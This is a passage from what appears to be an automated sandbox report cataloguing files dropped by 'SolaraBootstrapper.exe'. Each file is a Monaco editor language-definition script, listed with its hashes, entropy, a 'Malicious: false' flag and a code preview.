SHA-256:	4475C0F4D02C2C6145B097B80CC7E4C3AF9246639D20869FF394FE70926CD942
SHA-512:	EBC38A944D3846B2FEF5BBE8325506DDDBDFD3AF8CE705873A1A711C8C7C38C62FB7CB9EB7D99B856510A3274A5A9CB1609E53D3787F07277618A3A897969F00
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/lua/lua", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},m=(o,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of i(e))!l.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(r=a(e,n))\|\|r.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"--",blockComment:["-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\m3\m3.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3139)
Category:	dropped
Size (bytes):	3636
Entropy (8bit):	5.545341243626053
Encrypted:	false
SSDEEP:	96:pQFDHnYRs3Q+/EsaV1+UBgqoXDR208zpKfkR6uvO6zhGIi:G9YVGg0kpKfkR6uvdhc
MD5:	F292917045D92569E955014DB9B0199D
SHA1:	0942ED7251D97857E7FC835CE83ACDBB6D10F4BB
SHA-256:	BCDDB65CFDC3C63E67CCF57993ECEA2F279B61F92AD046E096D980A706D23017
SHA-512:	7788BE4D1E377BDEC5275D505BCA9B413A52846618AA79F7929C710A85007D6802094D733D182E644612E15A75338C5DA395893AC8B5AD8CEB0E51EF4AE00002
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/m3/m3", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var E=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var R=(o,e)=>{for(var s in e)r(o,s,{get:e[s],enumerable:!0})},c=(o,e,s,n)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!i.call(o,t)&&t!==s&&r(o,t,{get:()=>e[t],enumerable:!(n=E(e,t))\|\|n.enumerable});return o};var m=o=>c(r({},"__esModule",{value:!0}),o);var N={};R(N,{conf:()=>A,language:()=>p});var A={comments:{blockComment:["(",")"]},brackets:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\markdown\markdown.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (4110)
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	5.439673301140114
Encrypted:	false
SSDEEP:	96:pQFDHnYRs1+/EzK1sV1+b+VcqZEmFpCFY4cDWEzk:G9YD10KARFcq4b
MD5:	9354B068E6E2DAAF2F3023DED710E8A0
SHA1:	A31B100F17182F11B607F1339F425034B6B09DFA
SHA-256:	66F8B288EDE67F908CB776AEFF8C9E24996182B878C5DA7FFA4BD6F3CBC38A6B
SHA-512:	6055251EF5A633100976B1BBA11946FDBCBBF6169FADDBD2CE9FB20F4EED25C04247BD967BCE6E9C1399C88B4FAC708328CD0750E9E8E03774D0F548EBFBC73A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/markdown/markdown", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},m=(t,e,o,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of c(e))!i.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(a=r(e,n))\|\|a.enumerable});return t};var d=t=>m(s({},"__esModule",{value:!0}),t);var b={};l(b,{conf:()=>p,language:()=>g});var p={comments:{blockComment:[" ","-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\mdx\mdx.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5457)
Category:	dropped
Size (bytes):	5956
Entropy (8bit):	5.389474005763087
Encrypted:	false
SSDEEP:	96:pQFDHnYRsvsV///MwChmQgNujV1+73PVkd2wQkHmRUlmKo4riz0625EQ2OC7j/g3:G9YVJD0KGBlZcQ2OC7j/g3
MD5:	F4FBE65AC8368AE95154F94E294B70B0
SHA1:	A0EC67FC033B4DDA8C86FF4576AAE27E875EFCE2
SHA-256:	12E41644E29F943E567E09043AC95F9AFE3A12F78221662A7C35561424D30AB6
SHA-512:	A70E0BEC4C66AE7589F33898BE700EEDCA34D47C330AEE4DDB1BC70881D25784A6C4CF782F40901920FD196E0F74813EB3F20BEB35D9A329BEB7491A7BB34EE1
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/mdx/mdx", ["require","require"],(require)=>{.var moduleExports=(()=>{var x=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var b=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var h=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var f=(e,t)=>()=>(t\|\|e((t={exports

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\mips\mips.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2901)
Category:	dropped
Size (bytes):	3402
Entropy (8bit):	5.378643167874997
Encrypted:	false
SSDEEP:	96:pQFDHnYRs/b+/E5K83I0xqzJzDWqivUcme+fcAr6fmlW:G9YmdKWqzdTinmTcAr6f3
MD5:	052FB8D724FCD43EC01697532CDAF113
SHA1:	B264E5C86E37F6B11C06101D6DFAF4A9622EAD74
SHA-256:	5EE4997C552F1F6BC4DECA08BBE628B9369AF09E5A94770BE18CD419963D834D
SHA-512:	7176219436B8AC34B3AAAA8312A246057E4179FC97C1D45C1FAF8C0BE87BFC8DE4EBF07AF89E30308473AA783915BD4F39AFE7D1100A3EE2B50064DFFCF5C710
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/mips/mips", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var o=Object.getOwnPropertyNames;var g=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},d=(t,e,n,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let r of o(e))!g.call(t,r)&&r!==n&&s(t,r,{get:()=>e[r],enumerable:!(i=a(e,r))\|\|i.enumerable});return t};var m=t=>d(s({},"__esModule",{value:!0}),t);var x={};l(x,{conf:()=>p,language:()=>u});var p={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\msdax\msdax.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5234)
Category:	dropped
Size (bytes):	5737
Entropy (8bit):	5.465257002365471
Encrypted:	false
SSDEEP:	96:pQFDHnYRsS+/kWrviqgq+q17qN/E18Qby0qbmofEsl93Bjy2rzR9sJDJOuz3O+Pn:G9YxmrTX8Ey0UJfEI9z+zz3O+PYLZy4m
MD5:	BFB76AAFEBE565636C68AAC6095A7AFD
SHA1:	0751212755B4ACDE2CE6D30FCF551BB94BA10825
SHA-256:	F53EC8830DBA059C6F9FFE5D74AD6556372C927E4465EBEB6C27E1C7F915157D
SHA-512:	DFC1DB5BE67B1F9DA82E40F18D5646072F7DA999393AA34776740077BC83CFC67091E8AACB776DA574001604B7E3A38408A9428A1300E83C71DC3C63B076F730
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/msdax/msdax", ["require","require"],(require)=>{.var moduleExports=(()=>{var e=Object.defineProperty;var I=Object.getOwnPropertyDescriptor;var O=Object.getOwnPropertyNames;var S=Object.prototype.hasOwnProperty;var n=(T,E)=>{for(var N in E)e(T,N,{get:E[N],enumerable:!0})},t=(T,E,N,R)=>{if(E&&typeof E=="object"\|\|typeof E=="function")for(let A of O(E))!S.call(T,A)&&A!==N&&e(T,A,{get:()=>E[A],enumerable:!(R=I(E,A))\|\|R.enumerable});return T};var L=T=>t(e({},"__esModule",{value:!0}),T);var D={};n(D,{conf:()=>C,language:()=>o});var C={comments:{lineComment:"//",blockComment

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\mysql\mysql.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (11596)
Category:	dropped
Size (bytes):	12099
Entropy (8bit):	5.319774799341256
Encrypted:	false
SSDEEP:	192:G9Yw0XLxTgsX+lz/zvS6GEQ+izEdfANAM+U+hqXP0BpR2/6AVzIAtCH2jZLbf9bB:G4LxTFX+lfS6YUlANR060BpR2/6AVzIu
MD5:	64226E32D6370034F3FB02C77E032A21
SHA1:	F7BCAA92FE493FEEECB6002AB11458E475E6DFEF
SHA-256:	CA45C24C9ECCC351207C790FCE382C66EE66E3B74562DEC74F3AD306CCF1687A
SHA-512:	5372F818D1721F988434175AB4704AF0893E079631F8C9158046DE282D12E8E2A2B84F317F6491B1FCD626393AF4B126602FB9270FAA0F9774E7A0D2CDDD196D
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/mysql/mysql", ["require","require"],(require)=>{.var moduleExports=(()=>{var A=Object.defineProperty;var e=Object.getOwnPropertyDescriptor;var I=Object.getOwnPropertyNames;var N=Object.prototype.hasOwnProperty;var o=(T,E)=>{for(var R in E)A(T,R,{get:E[R],enumerable:!0})},O=(T,E,R,_)=>{if(E&&typeof E=="object"\|\|typeof E=="function")for(let S of I(E))!N.call(T,S)&&S!==R&&A(T,S,{get:()=>E[S],enumerable:!(_=e(E,S))\|\|_.enumerable});return T};var t=T=>O(A({},"__esModule",{value:!0}),T);var L={};o(L,{conf:()=>n,language:()=>C});var n={comments:{lineComment:"--",blockComment

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\objective-c\objective-c.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2724)
Category:	dropped
Size (bytes):	3239
Entropy (8bit):	5.272204051567214
Encrypted:	false
SSDEEP:	96:pQFDHnYRsNr+/ENQrbV1+/0V1+/0mTElRVACaV2Zz:G9YiarTxWwlRVSa
MD5:	F086E871F5E2E4E4DCAC82BCF4047DC3
SHA1:	B4BDBE871A9C42FCED591085E30C81665A6A1C46
SHA-256:	15B5F02919DF2434A0D0305C301CF6450C98E0076FBFEE1BAAEF93D339B2102C
SHA-512:	E3814E4FCF3B6612DC4604FAAE202CF3C8501CFD3FBEA9328906D0A9F6FB5125DC806A43AE45B0580237FB69F70DC7067AF6234B3C7717B8C2CFF49493F8B90F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/objective-c/objective-c", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var l=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},p=(o,e,t,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of c(e))!a.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(i=r(e,n))\|\|i.enumerable});return o};var d=o=>p(s({},"__esModule",{value:!0}),o);var u={};l(u,{conf:()=>g,language:()=>m});var g={comments:{lineComment:"//",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pascal\pascal.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3317)
Category:	dropped
Size (bytes):	3822
Entropy (8bit):	5.199030723755683
Encrypted:	false
SSDEEP:	96:pQFDHnYRsF+/E8uqx+rVV1+h0V1+htq1csPr8d7jmT/7B171wGcGOD:G9Y/+rxTtdre3Y7bZi3
MD5:	EBB86D239DD240BDCF3F7A0475615BF6
SHA1:	9AF87F1CDB76FF0A701D6720DB22CEF7944E57C2
SHA-256:	EA9B0CD3DF7BA28F7F9B4B484508D402096026C62399995278931CB91B45F3A1
SHA-512:	0C4A7D7CC6A2BE95951C91846ADEFBE439DD1AA4897DC89EF5E5F6053E29C07A364C4D4B70A6F6F36D90DAEEFDF48DF97E8306C23534FCC60CC2CF5C82681720
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pascal/pascal", ["require","require"],(require)=>{.var moduleExports=(()=>{var n=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var r in e)n(t,r,{get:e[r],enumerable:!0})},d=(t,e,r,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of a(e))!l.call(t,o)&&o!==r&&n(t,o,{get:()=>e[o],enumerable:!(i=s(e,o))\|\|i.enumerable});return t};var p=t=>d(n({},"__esModule",{value:!0}),t);var g={};c(g,{conf:()=>m,language:()=>u});var m={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pascaligo\pascaligo.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2322)
Category:	dropped
Size (bytes):	2833
Entropy (8bit):	5.276319973509025
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs1q+/E4HgUr5Xz0V1+hn0V1+hGkq1c/ChOa1Ta1xFiWwGcu08NQWp:pQFDHnYRsc+/EnUrmV1+h0V1+hrq1cKo
MD5:	7CD7C5A710B6F648343C3DC509627CAE
SHA1:	B3D7AD22D56D99583663BA70452F5505AB286032
SHA-256:	11CF852948FC74873E7F58BD88C34E7AFF02E3655FAA2B75D741FAB0E07A1922
SHA-512:	91D0E17EF3E6439DE584B0D0ACC79282BEC82FE1D358C55C49D71EBBF8595FECD094173526AB7ED85D6509CFC26C9A3F80A4108DD0051B84048D42342AEC1BBD
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pascaligo/pascaligo", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},m=(o,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(r=i(e,n))\|\|r.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"//",bloc

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\perl\perl.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8577)
Category:	dropped
Size (bytes):	9078
Entropy (8bit):	5.485443479366475
Encrypted:	false
SSDEEP:	192:G9Y5D7i1x13K3752aCJIzbxAM+OBUv1a72L0039Td7:GIi1x13gF2awIzdALvLf3D7
MD5:	8E3555E7568083AFD4DF43CA61D9A1D8
SHA1:	AD70A170EFD01CF9905ED1533B4F6D4F25655316
SHA-256:	1D5EEE661DA60FBA32173970D751B604FBC0DAA160BC4463128EE35EA5E306FE
SHA-512:	BEE587D9C638A7341FB390E194592DD98C557648A30156656B209D13941A073DF8D354DD57B8B139842E3E36E835D4AB5D46183217C3FF07B7A725BF7DE40F62
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/perl/perl", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var d=Object.prototype.hasOwnProperty;var a=(t,e)=>{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},$=(t,e,n,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of l(e))!d.call(t,s)&&s!==n&&r(t,s,{get:()=>e[s],enumerable:!(i=o(e,s))\|\|i.enumerable});return t};var c=t=>$(r({},"__esModule",{value:!0}),t);var m={};a(m,{conf:()=>g,language:()=>p});var g={comments:{lineComment:"#"},brackets:[["{"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pgsql\pgsql.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (13786)
Category:	dropped
Size (bytes):	14289
Entropy (8bit):	4.982761785168889
Encrypted:	false
SSDEEP:	384:GSULxaaCfwScWjRqvLCBX2ffO4ICe9basF:fULxaaC43URqveXSO4IzGsF
MD5:	22ED3B43982BA51BABBF903F9F6E7B39
SHA1:	3C3A3AE192C44F3232D0355E291A2B122D4BA746
SHA-256:	354896AE790E785E67E7F0FE20836E49B8650413EBEBC0A497E600CD9BAEBB2A
SHA-512:	6464F98F687D0DE4E35B0BE1A0A2F8267D40072BFD2D79BE911225ADD402BFE753EC7C5E945A2DCF19A7DFE2260AABF2AD360AD4A72BE3790BBD77B65E7F1C66
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pgsql/pgsql", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var n=Object.prototype.hasOwnProperty;var p=(_,e)=>{for(var s in e)r(_,s,{get:e[s],enumerable:!0})},l=(_,e,s,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of i(e))!n.call(_,t)&&t!==s&&r(_,t,{get:()=>e[t],enumerable:!(a=o(e,t))\|\|a.enumerable});return _};var g=_=>l(r({},"__esModule",{value:!0}),_);var m={};p(m,{conf:()=>c,language:()=>d});var c={comments:{lineComment:"--",blockComment

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\php\php.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (8349)
Category:	dropped
Size (bytes):	8848
Entropy (8bit):	5.400560472440332
Encrypted:	false
SSDEEP:	192:G9YnW+rr8hRld2BZwd0C4Ov6f+AME/gujck1wIJ3tjPG:Gn+rr8DxPSVrgk1w+3tC
MD5:	A8B61ABECDB513D6103D45783D5496A0
SHA1:	A33BCDBD4580BE4351E58BB4405B2D9170C04663
SHA-256:	621F1298E5CE5879F6EC3F8EE887B0039D288690F2529752C13C5BA7166CAED7
SHA-512:	171A706DFA046315635B2293400B8CF8E0364745EE98F99402B2AAD0177FFBB5B2AA7BC64C72A0E1932E3B17D23CC92E2CEFD8C6E46428EB233C7F3C6667F752
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/php/php", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var s=(t,e)=>{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},h=(t,e,n,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let p of m(e))!a.call(t,p)&&p!==n&&i(t,p,{get:()=>e[p],enumerable:!(r=o(e,p))\|\|r.enumerable});return t};var l=t=>h(i({},"__esModule",{value:!0}),t);var u={};s(u,{conf:()=>d,language:()=>c});var d={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#\%

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pla\pla.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2005)
Category:	dropped
Size (bytes):	2504
Entropy (8bit):	5.289439593338341
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs8c+/EOqHfcx5er20h1C0h1PY1gn6X3ZLBHsDkngfJyX61FDzT:pQFDHnYRs9+/EO6m5Kh1Jh1PY1gn63Tq
MD5:	FA7111ACF3BAED2B702DDA6F3DBFD195
SHA1:	D51AD22834D0CD9E174D354C513A696FDC676B31
SHA-256:	65D24FD68D69EDBB30B01953C044E3502BAC0205E7A9DB0447E38562383BDDDD
SHA-512:	CA38B26867155777945CC0FC1E579E215F79B5FC03C8423622EF9E1BEBF7AB1FC23C45BCE26F2FC0AD374A1EC0C63BFC229F221258509DDDA5931FDAC69FE369
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pla/pla", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var p=Object.prototype.hasOwnProperty;var l=(o,e)=>{for(var n in e)s(o,n,{get:e[n],enumerable:!0})},c=(o,e,n,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of r(e))!p.call(o,t)&&t!==n&&s(o,t,{get:()=>e[t],enumerable:!(i=a(e,t))\|\|i.enumerable});return o};var d=o=>c(s({},"__esModule",{value:!0}),o);var u={};l(u,{conf:()=>k,language:()=>m});var k={comments:{lineComment:"#"},brackets:[["[","

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\postiats\postiats.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8178)
Category:	dropped
Size (bytes):	8687
Entropy (8bit):	5.317344954369455
Encrypted:	false
SSDEEP:	192:G9YvATrsHJNHUKhfdGiAQ3Sv0vExaeZtSkgsh:GDrspNHsQ3SMMYc/
MD5:	D15486DBF13FFD1D0BC4B2F70C444CC1
SHA1:	53606B586DDCE79767A5CD7F82BDA30711A77B92
SHA-256:	71E5EB8CAAF7112E99C4B7C6BEFAFC1805B47F3460AB520B22A1DF07B65F9FC3
SHA-512:	1C3992421D4A7E3C10C746EA38973057C9A27A03D3DB51005BF3357EC07F6B5189866E975F50F6E9B1CFC37721492F649761001C27CC82937C3316B44A487E62
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/postiats/postiats", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var o in e)i(t,o,{get:e[o],enumerable:!0})},l=(t,e,o,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of s(e))!c.call(t,n)&&n!==o&&i(t,n,{get:()=>e[n],enumerable:!(r=a(e,n))\|\|r.enumerable});return t};var d=t=>l(i({},"__esModule",{value:!0}),t);var g={};p(g,{conf:()=>m,language:()=>x});var m={comments:{lineComment:"//",blockC

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\powerquery\powerquery.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (17261)
Category:	dropped
Size (bytes):	17774
Entropy (8bit):	5.109334056578057
Encrypted:	false
SSDEEP:	384:GA0rPW2Eoma/LPuYcZ9SWggnnDaWg5frZT8QjT7PC2KszxHQ2VOtJLIzIe2XkCk6:irPWcB116tQ/hSHiel
MD5:	BF69FE64761332FEA600143E414831EB
SHA1:	61131B8CBBD9BC45C54E6D40D9CD758C38425D79
SHA-256:	6A450D27DDDE2CA99A5A38734F11578FE67CC5240CE251931F9454BACA45516A
SHA-512:	CD46386807E5F2EF5900FCB28D35248FA89BD64C823A4831667973106C36A7FB2A14293243FF4ACCEB466701797D252AB16AB4B869538589AA498E2F27DB6543
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/powerquery/powerquery", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var T=(t,e)=>{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},m=(t,e,n,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let a of s(e))!l.call(t,a)&&a!==n&&i(t,a,{get:()=>e[a],enumerable:!(o=r(e,a))\|\|o.enumerable});return t};var u=t=>m(i({},"__esModule",{value:!0}),t);var b={};T(b,{conf:()=>d,language:()=>c});var d={comments:{lineComment:"//",bl

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\powershell\powershell.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3591)
Category:	dropped
Size (bytes):	4104
Entropy (8bit):	5.521023817857264
Encrypted:	false
SSDEEP:	96:pQFDHnYRsW8+/EwoyGx+lsV1+K6V1+/pcnLsxxeGub2vLycArt6Gr9DLp:G9YL34+l0yUQQjMJ6Gr3
MD5:	BC7424AAB71B3C118625A40FD63F4B5E
SHA1:	2E33732B16770483B01E59D317BC7F4FA355A86C
